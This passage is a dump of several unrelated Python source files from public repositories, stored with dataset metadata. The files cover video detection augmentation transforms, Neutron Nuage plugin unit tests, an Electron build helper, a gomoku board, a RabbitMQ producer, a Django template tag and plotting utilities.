padding):\n    # assumes that we only pad on the bottom right corners\n    padded_image = []\n    for image in clip:\n        padded_image.append(F.pad(image, (0, 0, padding[0], padding[1])))\n    if target is None:\n        return padded_image, None\n    target = target.copy()\n    # should we do something wrt the original size?\n    target[\"size\"] = torch.tensor(padded_image[0].size[::-1])\n    if \"masks\" in target:\n        target['masks'] = torch.nn.functional.pad(target['masks'], (0, padding[0], 0, padding[1]))\n    return padded_image, target\n\n\nclass RandomCrop(object):\n    def __init__(self, size):\n        self.size = size\n\n    def __call__(self, img, target):\n        region = T.RandomCrop.get_params(img, self.size)\n        return crop(img, target, region)\n\n\nclass RandomSizeCrop(object):\n    def __init__(self, min_size: int, max_size: int):\n        self.min_size = min_size\n        self.max_size = max_size\n\n    def __call__(self, img: PIL.Image.Image, target: dict):\n        w = random.randint(self.min_size, min(img[0].width, self.max_size))\n        h = random.randint(self.min_size, min(img[0].height, self.max_size))\n        region = T.RandomCrop.get_params(img[0], [h, w])\n        return crop(img, target, region)\n\n\nclass CenterCrop(object):\n    def __init__(self, size):\n        self.size = size\n\n    def __call__(self, img, target):\n        image_width, image_height = img.size\n        crop_height, crop_width = self.size\n        crop_top = int(round((image_height - crop_height) / 2.))\n        crop_left = int(round((image_width - crop_width) / 2.))\n        return crop(img, target, (crop_top, crop_left, crop_height, crop_width))\n\n\nclass MinIoURandomCrop(object):\n    def __init__(self, min_ious=(0.1, 0.3, 0.5, 0.7, 0.9), min_crop_size=0.3):\n        self.min_ious = min_ious\n        self.sample_mode = (1, *min_ious, 0)\n        self.min_crop_size = min_crop_size\n\n    def __call__(self, img, target):\n        w, h = img.size\n        while True:\n            mode = random.choice(self.sample_mode)\n            self.mode = mode\n            if mode == 1:\n                return img, target\n            min_iou = mode\n            boxes = target['boxes'].numpy()\n            labels = target['labels']\n\n            for i in range(50):\n                new_w = rand.uniform(self.min_crop_size * w, w)\n                new_h = rand.uniform(self.min_crop_size * h, h)\n                if new_h / new_w < 0.5 or new_h / new_w > 2:\n                    continue\n                left = rand.uniform(w - new_w)\n                top = rand.uniform(h - new_h)\n                patch = np.array((int(left), int(top), int(left + new_w), int(top + new_h)))\n                if patch[2] == patch[0] or patch[3] == patch[1]:\n                    continue\n                overlaps = bbox_overlaps(patch.reshape(-1, 4), boxes.reshape(-1, 4)).reshape(-1)\n                if len(overlaps) > 0 and overlaps.min() < min_iou:\n                    continue\n\n                if len(overlaps) > 0:\n                    def is_center_of_bboxes_in_patch(boxes, patch):\n                        center = (boxes[:, :2] + boxes[:, 2:]) / 2\n                        mask = ((center[:, 0] > patch[0]) * (center[:, 1] > patch[1]) * (center[:, 0] < patch[2]) * (\n                                    center[:, 1] < patch[3]))\n                        return mask\n\n                    mask = is_center_of_bboxes_in_patch(boxes, patch)\n                    if False in mask:\n                        continue\n                    # TODO: use no center boxes\n                    # if not mask.any():\n                    #    continue\n\n                    boxes[:, 2:] = boxes[:, 2:].clip(max=patch[2:])\n                    boxes[:, :2] = boxes[:, :2].clip(min=patch[:2])\n                    boxes -= np.tile(patch[:2], 2)\n                    target['boxes'] = torch.tensor(boxes)\n\n                img = np.asarray(img)[patch[1]:patch[3], patch[0]:patch[2]]\n                img = Image.fromarray(img)\n                width, height = img.size\n                target['orig_size'] = torch.tensor([height, width])\n                target['size'] = torch.tensor([height, width])\n                return img, target\n\n\nclass RandomContrast(object):\n    def __init__(self, lower=0.5, upper=1.5):\n        self.lower = lower\n        self.upper = upper\n        assert self.upper >= self.lower, \"contrast upper must be >= lower.\"\n        assert self.lower >= 0, \"contrast lower must be non-negative.\"\n\n    def __call__(self, image, target):\n        if rand.randint(2):\n            alpha = rand.uniform(self.lower, self.upper)\n            image *= alpha\n        return image, target\n\n\nclass RandomBrightness(object):\n    def __init__(self, delta=32):\n        assert delta >= 0.0\n        assert delta <= 255.0\n        self.delta = delta\n\n    def __call__(self, image, target):\n        if rand.randint(2):\n            delta = rand.uniform(-self.delta, self.delta)\n            image += delta\n        return image, target\n\n\nclass RandomSaturation(object):\n    def __init__(self, lower=0.5, upper=1.5):\n        self.lower = lower\n        self.upper = upper\n        assert self.upper >= self.lower, \"contrast upper must be >= lower.\"\n        assert self.lower >= 0, \"contrast lower must be non-negative.\"\n\n    def __call__(self, image, target):\n        if rand.randint(2):\n            image[:, :, 1] *= rand.uniform(self.lower, self.upper)\n        return image, target\n\n\nclass RandomHue(object):  #\n    def __init__(self, delta=18.0):\n        assert delta >= 0.0 and delta <= 360.0\n        self.delta = delta\n\n    def __call__(self, image, target):\n        if rand.randint(2):\n            image[:, :, 0] += rand.uniform(-self.delta, self.delta)\n            image[:, :, 0][image[:, :, 0] > 360.0] -= 360.0\n            image[:, :, 0][image[:, :, 0] < 0.0] += 360.0\n        return image, target\n\n\nclass RandomLightingNoise(object):\n    def __init__(self):\n        self.perms = ((0, 1, 2), (0, 2, 1),\n                      (1, 0, 2), (1, 2, 0),\n                      (2, 0, 1), (2, 1, 0))\n\n    def __call__(self, image, target):\n        if rand.randint(2):\n            swap = self.perms[rand.randint(len(self.perms))]\n            shuffle = SwapChannels(swap)  # shuffle channels\n            image = shuffle(image)\n        return image, target\n\n\nclass ConvertColor(object):\n    def __init__(self, current='BGR', transform='HSV'):\n        self.transform = transform\n        self.current = current\n\n    def __call__(self, image, target):\n        if self.current == 'BGR' and self.transform == 'HSV':\n            image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n        elif self.current == 'HSV' and self.transform == 'BGR':\n            image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\n        else:\n            raise NotImplementedError\n        return image, target\n\n\nclass SwapChannels(object):\n    def __init__(self, swaps):\n        self.swaps = swaps\n\n    def __call__(self, image):\n        image = image[:, :, self.swaps]\n        return image\n\n\nclass PhotometricDistort(object):\n    def __init__(self):\n        self.pd = [\n            RandomContrast(),\n            ConvertColor(transform='HSV'),\n            RandomSaturation(),\n            RandomHue(),\n            ConvertColor(current='HSV', transform='BGR'),\n            RandomContrast()\n        ]\n        self.rand_brightness = RandomBrightness()\n        self.rand_light_noise = RandomLightingNoise()\n\n    def __call__(self, clip, target):\n        imgs = []\n        for img in clip:\n            img = np.asarray(img).astype('float32')\n            img, target = self.rand_brightness(img, target)\n            if rand.randint(2):\n                distort = Compose(self.pd[:-1])\n            else:\n                distort = Compose(self.pd[1:])\n            img, target = distort(img, target)\n            img, target = self.rand_light_noise(img, target)\n            imgs.append(Image.fromarray(img.astype('uint8')))\n        return imgs, target\n\n\n# NOTICE: if used for mask, need to change\nclass Expand(object):\n    def __init__(self, mean):\n        self.mean = mean\n\n    def __call__(self, clip, target):\n        if rand.randint(2):\n            return clip, target\n        imgs = []\n        masks = []\n        image = np.asarray(clip[0]).astype('float32')\n        height, width, depth = image.shape\n        ratio = rand.uniform(1, 4)\n        left = rand.uniform(0, width * ratio - width)\n        top = rand.uniform(0, height * ratio - height)\n        for i in range(len(clip)):\n            image = np.asarray(clip[i]).astype('float32')\n            expand_image = np.zeros((int(height * ratio), int(width * ratio), depth), dtype=image.dtype)\n            expand_image[:, :, :] = self.mean\n            expand_image[int(top):int(top + height), int(left):int(left + width)] = image\n            imgs.append(Image.fromarray(expand_image.astype('uint8')))\n            expand_mask = torch.zeros((int(height * ratio), int(width * ratio)), dtype=torch.uint8)\n            expand_mask[int(top):int(top + height), int(left):int(left + width)] = target['masks'][i]\n            masks.append(expand_mask)\n        boxes = target['boxes'].numpy()\n        boxes[:, :2] += (int(left), int(top))\n        boxes[:, 2:] += (int(left), int(top))\n        target['boxes'] = torch.tensor(boxes)\n        target['masks'] = torch.stack(masks)\n        return imgs, target\n\n\nclass RandomHorizontalFlip(object):\n    def __init__(self, p=0.5):\n        self.p = p\n\n    def __call__(self, img, target):\n        if random.random() < self.p:\n            # NOTE: caption for 'left' and 'right' should also change\n            caption = target['caption']\n            target['caption'] = caption.replace('left', '@').replace('right', 'left').replace('@', 'right')\n            return hflip(img, target)\n        return img, target\n\n\nclass RandomVerticalFlip(object):\n    def __init__(self, p=0.5):\n        self.p = p\n\n    def __call__(self, img, target):\n        if random.random() < self.p:\n            return vflip(img, target)\n        return img, target\n\n\nclass RandomResize(object):\n    def __init__(self, sizes, max_size=None):\n        assert isinstance(sizes, (list, tuple))\n        self.sizes = sizes\n        self.max_size = max_size\n\n    def __call__(self, img, target=None):\n        size = random.choice(self.sizes)\n        return resize(img, target, size, self.max_size)\n\n\nclass RandomPad(object):\n    def __init__(self, max_pad):\n        self.max_pad = max_pad\n\n    def __call__(self, img, target):\n        pad_x = random.randint(0, self.max_pad)\n        pad_y = random.randint(0, self.max_pad)\n        return pad(img, target, (pad_x, pad_y))\n\n\nclass RandomSelect(object):\n    \"\"\"\n    Randomly selects between transforms1 and transforms2,\n    with probability p for transforms1 and (1 - p) for transforms2\n    \"\"\"\n\n    def __init__(self, transforms1, transforms2, p=0.5):\n        self.transforms1 = transforms1\n        self.transforms2 = transforms2\n        self.p = p\n\n    def __call__(self, img, target):\n        if random.random() < self.p:\n            return self.transforms1(img, target)\n        return self.transforms2(img, target)\n\n\nclass ToTensor(object):\n    def __call__(self, clip, target):\n        img = []\n        for im in clip:\n            img.append(F.to_tensor(im))\n        return img, target\n\n\nclass RandomErasing(object):\n\n    def __init__(self, *args, **kwargs):\n        self.eraser = T.RandomErasing(*args, **kwargs)\n\n    def __call__(self, img, target):\n        return self.eraser(img), target\n\n\nclass Normalize(object):\n    def __init__(self, mean, std):\n        self.mean = mean\n        self.std = std\n\n    def __call__(self, clip, target=None):\n        image = []\n        for im in clip:\n            image.append(F.normalize(im, mean=self.mean, std=self.std))\n        if target is None:\n            return image, None\n        target = target.copy()\n        h, w = image[0].shape[-2:]\n        if \"boxes\" in target:\n            boxes = target[\"boxes\"]\n            boxes = box_xyxy_to_cxcywh(boxes)\n            boxes = boxes / torch.tensor([w, h, w, h], dtype=torch.float32)\n            target[\"boxes\"] = boxes\n        return image, target\n\n\nclass Compose(object):\n    def __init__(self, transforms):\n        self.transforms = transforms\n\n    def __call__(self, image, target):\n        for t in self.transforms:\n            image, target = t(image, target)\n        return image, target\n\n    def __repr__(self):\n        format_string = self.__class__.__name__ + \"(\"\n        for t in self.transforms:\n            format_string += \"\\n\"\n            format_string += \"    {0}\".format(t)\n        format_string += \"\\n)\"\n        return format_string\n","repo_name":"924973292/UNINEXT_VQA","sub_path":"conversion/transform_vedio.py","file_name":"transform_vedio.py","file_ext":"py","file_size_in_byte":41919,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"29347330909","text":"import contextlib\nimport os\n\nimport mock\nfrom oslo.config import cfg\nfrom webob import exc\n\nfrom neutron.extensions import external_net\nfrom neutron.extensions import portbindings\nfrom neutron.plugins.nuage import extensions\nfrom neutron.plugins.nuage import plugin as nuage_plugin\nfrom neutron.tests.unit import _test_extension_portbindings as test_bindings\nfrom neutron.tests.unit.nuage import fake_nuageclient\nfrom neutron.tests.unit import test_db_plugin\nfrom neutron.tests.unit import test_extension_extraroute as extraroute_test\nfrom neutron.tests.unit import test_l3_plugin\n\nAPI_EXT_PATH = os.path.dirname(extensions.__file__)\nFAKE_DEFAULT_ENT = 'default'\nNUAGE_PLUGIN_PATH = 'neutron.plugins.nuage.plugin'\nFAKE_SERVER = '1.1.1.1'\nFAKE_SERVER_AUTH = 'user:pass'\nFAKE_SERVER_SSL = False\nFAKE_BASE_URI = '/base/'\nFAKE_AUTH_RESOURCE = '/auth'\nFAKE_ORGANIZATION = 'fake_org'\n\n_plugin_name = ('%s.NuagePlugin' % NUAGE_PLUGIN_PATH)\n\n\nclass NuagePluginV2TestCase(test_db_plugin.NeutronDbPluginV2TestCase):\n    def setUp(self, plugin=_plugin_name,\n              ext_mgr=None, service_plugins=None):\n        def mock_nuageClient_init(self):\n            server = FAKE_SERVER\n            serverauth = FAKE_SERVER_AUTH\n            serverssl = FAKE_SERVER_SSL\n            base_uri = FAKE_BASE_URI\n            auth_resource = FAKE_AUTH_RESOURCE\n            organization = FAKE_ORGANIZATION\n            self.nuageclient = None\n            self.nuageclient = fake_nuageclient.FakeNuageClient(server,\n                                                                base_uri,\n                                                                serverssl,\n                                                                serverauth,\n                                                                auth_resource,\n                                                                organization)\n\n        with mock.patch.object(nuage_plugin.NuagePlugin,\n                               'nuageclient_init', new=mock_nuageClient_init):\n            cfg.CONF.set_override('api_extensions_path',\n                                  API_EXT_PATH)\n            super(NuagePluginV2TestCase, self).setUp(plugin=plugin,\n                                                     ext_mgr=ext_mgr)\n\n    def _assert_no_assoc_fip(self, fip):\n        body = self._show('floatingips',\n                          fip['floatingip']['id'])\n        self.assertIsNone(body['floatingip']['port_id'])\n        self.assertIsNone(\n            body['floatingip']['fixed_ip_address'])\n\n    def _associate_and_assert_fip(self, fip, port, allow=True):\n        port_id = port['port']['id']\n        ip_address = (port['port']['fixed_ips']\n                      [0]['ip_address'])\n        if allow:\n            body = self._update(\n                'floatingips', fip['floatingip']['id'],\n                {'floatingip': {'port_id': port_id}})\n            self.assertEqual(\n                body['floatingip']['port_id'], port_id)\n            self.assertEqual(\n                body['floatingip']['fixed_ip_address'],\n                ip_address)\n            return body['floatingip']['router_id']\n        else:\n            code = exc.HTTPInternalServerError.code\n            self._update(\n                'floatingips', fip['floatingip']['id'],\n                {'floatingip': {'port_id': port_id}},\n                expected_code=code)\n\n    def _test_floatingip_update_different_router(self):\n        with contextlib.nested(self.subnet(cidr='10.0.0.0/24'),\n                               self.subnet(cidr='10.0.1.0/24')) as (\n                                   s1, s2):\n            with contextlib.nested(self.port(subnet=s1),\n                                   self.port(subnet=s2)) as (p1, p2):\n                private_sub1 = {'subnet':\n                                {'id':\n                                 p1['port']['fixed_ips'][0]['subnet_id']}}\n                private_sub2 = {'subnet':\n                                {'id':\n                                 p2['port']['fixed_ips'][0]['subnet_id']}}\n                with self.subnet(cidr='12.0.0.0/24') as public_sub:\n                    with contextlib.nested(\n                            self.floatingip_no_assoc_with_public_sub(\n                                private_sub1, public_sub=public_sub),\n                            self.floatingip_no_assoc_with_public_sub(\n                                private_sub2, public_sub=public_sub)) as (\n                                    (fip1, r1), (fip2, r2)):\n\n                        self._assert_no_assoc_fip(fip1)\n                        self._assert_no_assoc_fip(fip2)\n\n                        fip1_r1_res = self._associate_and_assert_fip(fip1, p1)\n                        self.assertEqual(fip1_r1_res, r1['router']['id'])\n                        # The following operation will associate the floating\n                        # ip to a different router and should fail\n                        self._associate_and_assert_fip(fip1, p2, allow=False)\n                        # disassociate fip1\n                        self._update(\n                            'floatingips', fip1['floatingip']['id'],\n                            {'floatingip': {'port_id': None}})\n                        fip2_r2_res = self._associate_and_assert_fip(fip2, p2)\n                        self.assertEqual(fip2_r2_res, r2['router']['id'])\n\n    def _test_network_update_external_failure(self):\n        with self.router() as r:\n            with self.subnet() as s1:\n                self._set_net_external(s1['subnet']['network_id'])\n                self._add_external_gateway_to_router(\n                    r['router']['id'],\n                    s1['subnet']['network_id'])\n                self._update('networks', s1['subnet']['network_id'],\n                             {'network': {external_net.EXTERNAL: False}},\n                             expected_code=exc.HTTPInternalServerError.code)\n                self._remove_external_gateway_from_router(\n                    r['router']['id'],\n                    s1['subnet']['network_id'])\n\n\nclass TestNuageBasicGet(NuagePluginV2TestCase,\n                        test_db_plugin.TestBasicGet):\n    pass\n\n\nclass TestNuageV2HTTPResponse(NuagePluginV2TestCase,\n                              test_db_plugin.TestV2HTTPResponse):\n    pass\n\n\nclass TestNuageNetworksV2(NuagePluginV2TestCase,\n                          test_db_plugin.TestNetworksV2):\n    pass\n\n\nclass TestNuageSubnetsV2(NuagePluginV2TestCase,\n                         test_db_plugin.TestSubnetsV2):\n    def test_create_subnet_bad_hostroutes(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_create_subnet_inconsistent_ipv4_hostroute_dst_v6(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_create_subnet_inconsistent_ipv4_hostroute_np_v6(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_update_subnet_adding_additional_host_routes_and_dns(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_update_subnet_inconsistent_ipv6_hostroute_dst_v4(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_update_subnet_inconsistent_ipv6_hostroute_np_v4(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_create_subnet_with_one_host_route(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_create_subnet_with_two_host_routes(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_create_subnet_with_too_many_routes(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_update_subnet_route(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_update_subnet_route_to_None(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_update_subnet_route_with_too_many_entries(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_delete_subnet_with_route(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_delete_subnet_with_dns_and_route(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_validate_subnet_host_routes_exhausted(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_validate_subnet_dns_nameservers_exhausted(self):\n        self.skipTest(\"Plugin does not support Neutron Subnet host-routes\")\n\n    def test_create_subnet_with_none_gateway(self):\n        self.skipTest(\"Plugin does not support \"\n                      \"Neutron Subnet no-gateway option\")\n\n    def test_create_subnet_nonzero_cidr(self):\n        self.skipTest(\"Plugin does not support \"\n                      \"Neutron Subnet no-gateway option\")\n\n    def test_create_subnet_with_none_gateway_fully_allocated(self):\n        self.skipTest(\"Plugin does not support Neutron \"\n                      \"Subnet no-gateway option\")\n\n    def test_create_subnet_with_none_gateway_allocation_pool(self):\n        self.skipTest(\"Plugin does not support Neutron \"\n                      \"Subnet no-gateway option\")\n\n\nclass TestNuagePluginPortBinding(NuagePluginV2TestCase,\n                                 test_bindings.PortBindingsTestCase):\n    VIF_TYPE = portbindings.VIF_TYPE_OVS\n\n    def setUp(self):\n        super(TestNuagePluginPortBinding, self).setUp()\n\n\nclass TestNuagePortsV2(NuagePluginV2TestCase,\n                       test_db_plugin.TestPortsV2):\n    def test_no_more_port_exception(self):\n        self.skipTest(\"Plugin does not support \"\n                      \"Neutron Subnet no-gateway option\")\n\n\nclass TestNuageL3NatTestCase(NuagePluginV2TestCase,\n                             test_l3_plugin.L3NatDBIntTestCase):\n\n    def test_floatingip_update_different_router(self):\n        self._test_floatingip_update_different_router()\n\n    def test_network_update_external_failure(self):\n        self._test_network_update_external_failure()\n\n\nclass TestNuageExtrarouteTestCase(NuagePluginV2TestCase,\n                                  extraroute_test.ExtraRouteDBIntTestCase):\n\n    def test_router_update_with_dup_destination_address(self):\n        with self.router() as r:\n            with self.subnet(cidr='10.0.1.0/24') as s:\n                with self.port(subnet=s, do_delete=False) as p:\n                    self._router_interface_action('add',\n                                                  r['router']['id'],\n                                                  None,\n                                                  p['port']['id'])\n\n                    routes = [{'destination': '135.207.0.0/16',\n                               'nexthop': '10.0.1.3'},\n                              {'destination': '135.207.0.0/16',\n                               'nexthop': '10.0.1.5'}]\n\n                    self._update('routers', r['router']['id'],\n                                 {'router': {'routes':\n                                             routes}},\n                                 expected_code=exc.HTTPBadRequest.code)\n\n                    # clean-up\n                    self._router_interface_action('remove',\n                                                  r['router']['id'],\n                                                  None,\n                                                  p['port']['id'])\n\n    def test_floatingip_update_different_router(self):\n        self._test_floatingip_update_different_router()\n\n    def test_network_update_external_failure(self):\n        self._test_network_update_external_failure()\n","repo_name":"virtualopensystems/neutron","sub_path":"neutron/tests/unit/nuage/test_nuage_plugin.py","file_name":"test_nuage_plugin.py","file_ext":"py","file_size_in_byte":11763,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"17611275253","text":"#!/usr/bin/env python\n\nimport contextlib\nimport os\nimport subprocess\nimport sys\n\n\nSOURCE_ROOT = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\n\n\ndef main():\n  natives = os.path.abspath(sys.argv[1])\n  coffee_source_files = sys.argv[2:]\n\n  output_dir = os.path.dirname(natives)\n  js_source_files = compile_coffee(coffee_source_files, output_dir)\n  call_js2c(natives, js_source_files)\n\n\ndef compile_coffee(coffee_source_files, output_dir):\n  js_source_files = []\n  for source_file in coffee_source_files:\n    output_filename = os.path.splitext(source_file)[0] + '.js'\n    output_path = os.path.join(output_dir, output_filename)\n    js_source_files.append(output_path)\n    call_compile_coffee(source_file, output_path)\n  return js_source_files\n\n\ndef call_compile_coffee(source_file, output_filename):\n  compile_coffee = os.path.join(SOURCE_ROOT, 'tools', 'compile-coffee.py')\n  subprocess.check_call([sys.executable, compile_coffee, source_file,\n                         output_filename])\n\n\ndef call_js2c(natives, js_source_files):\n  js2c = os.path.join(SOURCE_ROOT, 'vendor', 'node', 'tools', 'js2c.py')\n  src_dir = os.path.dirname(js_source_files[0])\n  with scoped_cwd(src_dir):\n    subprocess.check_call(\n        [sys.executable, js2c, natives] +\n        [os.path.basename(source) for source in js_source_files])\n\n\n@contextlib.contextmanager\ndef scoped_cwd(path):\n  cwd = os.getcwd()\n  os.chdir(path)\n  try:\n    yield\n  finally:\n    os.chdir(cwd)\n\n\nif __name__ == '__main__':\n  sys.exit(main())\n","repo_name":"rsvip/electron","sub_path":"tools/coffee2c.py","file_name":"coffee2c.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4627094519","text":"# -*- coding:utf-8 -*-\n# @module Record\n# @desc Extendable (?) records storage engine\n# @since 2022.02.22, 01:47\n# @changed 2022.02.24, 00:34\n\n\nimport time\n\nfrom src.core.lib.logger import DEBUG\nfrom src.core.lib import utils\n\n\nclass Record():\n\n    timestamp: None\n    ownerId = None\n    recordId = None\n    data = None\n\n    def __init__(self, timestamp=None, ownerId=None, recordId=None, data=None):\n        if not timestamp:\n            timestamp = time.time()\n        self.timestamp = timestamp\n        self.ownerId = ownerId\n        self.recordId = recordId\n        self.data = data\n        #  DEBUG(utils.getTrace(), {\n        #      'timestamp': timestamp,\n        #      'ownerId': ownerId,\n        #      'recordId': recordId,\n        #      'data': data,\n        #  })\n\n\n__all__ = [  # Exporting objects...\n    'Record',\n]\n\n\nif __name__ == '__main__':\n    DEBUG(utils.getTrace(' debug run'))\n","repo_name":"lilliputten/cam-rpi-server-2202","sub_path":"src/core/Records/Record.py","file_name":"Record.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"29074833913","text":"from omok import board\nimport numpy as np\n\nBLANK, BLACK, WHITE, BLOCKED = 0, 1, -1, 2\ncolor_dict = {\n    BLANK: \"BLANK\",\n    BLACK: \"BLACK\",\n    WHITE: \"WHITE\",\n    BLOCKED: \"BLOCKED\"\n}\nn_of_board = 0\n\nsize = 20\nstone_info = np.zeros([size] * 2, dtype=int)\nturn = BLACK\nlast = None\n\ndef put_stone(pos: tuple) -> None:\n    pos = tuple(map(int, pos))\n    for i in range(len(pos)):\n        assert board.size > pos[i] and pos[i] >= 0, \"pos : index error\"\n    assert board.stone_info[pos] == board.BLANK, \"돌을 놓으려는 위치가 빈칸이 아닙니다!\"\n    board.stone_info[pos] = board.turn\n    board.last = pos\n\ndef check_winner() -> int:\n    for color in (board.BLACK, board.WHITE):\n        for line in line_range():\n            line = np.concatenate([line, [0]])\n            stack = 0\n            for space in line:\n                if space == color:\n                    stack += 1\n                else:\n                    if stack == 5:\n                        print(f\"{board.color_dict[color]} WIN!\")\n                        return color\n                    stack = 0\n        if stack == 5:\n            print(f\"{board.color_dict[color]} WIN!\")\n            return color\n    return board.BLANK\n\ndef change_turn(*colors) -> None:\n    if len(colors) == 0:\n        board.turn *= -1\n    else:\n        board.turn = colors[0]\n\ndef make_turn(color):\n    assert color == 1 or color == -1, f\"올바른 color값이 아닙니다. color는 1 또는 -1이어야 합니다. color type : {type(color)}, color value : {color}\"\n    board.turn = color\n\ndef line_range() -> list:\n    size = board.size\n    for v in board.stone_info:\n        yield v\n\n    for v in board.stone_info.T:\n        yield v\n\n    for i in np.arange(0, size):\n        yield board.stone_info[0:1 + i, size - (1 + i):size].diagonal()\n    for i in np.arange(size - 2, -1, -1):\n        yield board.stone_info.T[0:1 + i, size - (1 + i):size].diagonal()\n\n    for i in np.arange(0, size):\n        yield board.stone_info[:, ::-1][0:1 + i, size - (1 + i):size].diagonal()\n    for i in np.arange(size - 2, -1, -1):\n        yield board.stone_info.T[::-1][0:1 + i, size - (1 + i):size].diagonal()\n\ndef board_print() -> None:\n    visualized = board.stone_info.copy().astype(str)\n    visualized[np.where(visualized == '-1')] = '○'\n    visualized[np.where(visualized == '1')] = '●'\n    visualized[np.where(visualized == '0')] = '`'\n    # print(pd.DataFrame(visualized).T)\n    for y in range(board.size):\n        for x in range(board.size):\n            print(visualized[x, y], end=' ')\n        print()\n    print()\n","repo_name":"melpes/omokapp","sub_path":"omok/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37480217810","text":"#coding=utf-8\nimport pika\nimport sys\n\ndef Main():\n    credential=pika.PlainCredentials(\"alex\",\"alex\")\n    parameters=pika.ConnectionParameters(\"localhost\")\n    connection=pika.BlockingConnection(parameters)\n    channel=connection.channel()\n    #包含多于一个参数为信息内容\n    routing_key=sys.argv[1] if len(sys.argv)>2 else 'anonymous.info'\n    #拼接传递的消息\n    message=' '.join(sys.argv[2:]) or \"just test words\"\n\n    channel.exchange_declare(exchange=\"topic_info_exchange\",exchange_type=\"topic\")\n    channel.basic_publish(exchange=\"topic_info_exchange\",routing_key=routing_key,body=message)\n\n    connection.close()\n\nif __name__ == '__main__':\n    Main()\n","repo_name":"AlexWIllBeGood/MQ","sub_path":"PythonDemo/ExchangesDemo/Topic/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3799338438","text":"from django import template\n\nregister = template.Library()\n\n\ndef achievements(context, profile):\n    \"\"\"Output a list of achievements for the Profile\n    \"\"\"\n    achievements = profile.achievements.all()\n\n    response = {\n        'achievements': achievements,\n      }\n\n    return response\n\n\nregister.inclusion_tag('eray/tag_templates/_achievements.html', takes_context=True)(achievements)\n","repo_name":"Adyg/eray","sub_path":"eray/templatetags/achievements.py","file_name":"achievements.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43006970681","text":"\"\"\"\nplot.py\n\nThis python module provides a variety of plotting utilities used in different scripts.\n\"\"\"\n\n\nimport os\nimport sys\nimport numpy as np\nimport gtsam\n\nfrom comparisons import OutlierType, calc_outlier_type\n\n# OVERHEAD TO ACCESS IRL STUFF\nscript_dir = os.path.dirname(__file__)\nirl_dir = os.path.join(script_dir, \"..\", \"irl\", \"python\")\nsys.path.append(irl_dir)\nimport irl_parsing\nimport irl_types\n\n\n\ndef set_axes_equal(ax) -> None:\n    \"\"\"\n    Make axes of 3D plot have equal scale so that spheres appear as spheres,\n    cubes as cubes, etc..  This is one possible solution to Matplotlib's\n    ax.set_aspect('equal') and ax.axis('equal') not working for 3D.\n    Args:\n        ax: the axes\n    \"\"\"\n    limits = np.array([\n        ax.get_xlim3d(),\n        ax.get_ylim3d(),\n        ax.get_zlim3d(),\n    ])\n\n    origin = np.mean(limits, axis=1)\n    radius = 0.5 * np.max(np.abs(limits[:, 1] - limits[:, 0]))\n\n    ax.set_xlim3d([origin[0] - radius, origin[0] + radius])\n    ax.set_ylim3d([origin[1] - radius, origin[1] + radius])\n    ax.set_zlim3d([origin[2] - radius, origin[2] + radius])\n\n\"\"\"\n ######   #######  ##        #######  ########   ######\n##    ## ##     ## ##       ##     ## ##     ## ##    ##\n##       ##     ## ##       ##     ## ##     ## ##\n##       ##     ## ##       ##     ## ########   ######\n##       ##     ## ##       ##     ## ##   ##         ##\n##    ## ##     ## ##       ##     ## ##    ##  ##    ##\n ######   #######  ########  #######  ##     ##  ######\n\"\"\"\nCORRECT_ODOM_COLOR = \"black\"\nWRONG_ODOM_COLOR = \"darkred\"\n\nTRUE_POSITIVE_LOOP_COLOR = \"cornflowerblue\"\nFALSE_POSITIVE_LOOP_COLOR = \"red\"\nTRUE_NEGATIVE_LOOP_COLOR = \"grey\"\nFALSE_NEGATIVE_LOOP_COLOR = \"darkgreen\"\n\n\ndef get_loop_color(t, entry, mode):\n    if t == OutlierType.TRUE_POSITIVE:\n        return TRUE_POSITIVE_LOOP_COLOR, entry.measurements[mode].pose_b_key, \"\"\n    elif t == OutlierType.FALSE_POSITIVE:\n        return FALSE_POSITIVE_LOOP_COLOR, entry.measurements[mode].pose_b_key, \"o\"\n    elif t == OutlierType.TRUE_NEGATIVE:\n        return TRUE_NEGATIVE_LOOP_COLOR, entry.measurements[0].pose_b_key, \"\"\n    elif t == OutlierType.FALSE_NEGATIVE:\n        return (\n            FALSE_NEGATIVE_LOOP_COLOR,\n            entry.measurements[entry.correct_mode].pose_b_key,\n            \"o\",\n        )\n\n\n\"\"\"\n########  ##        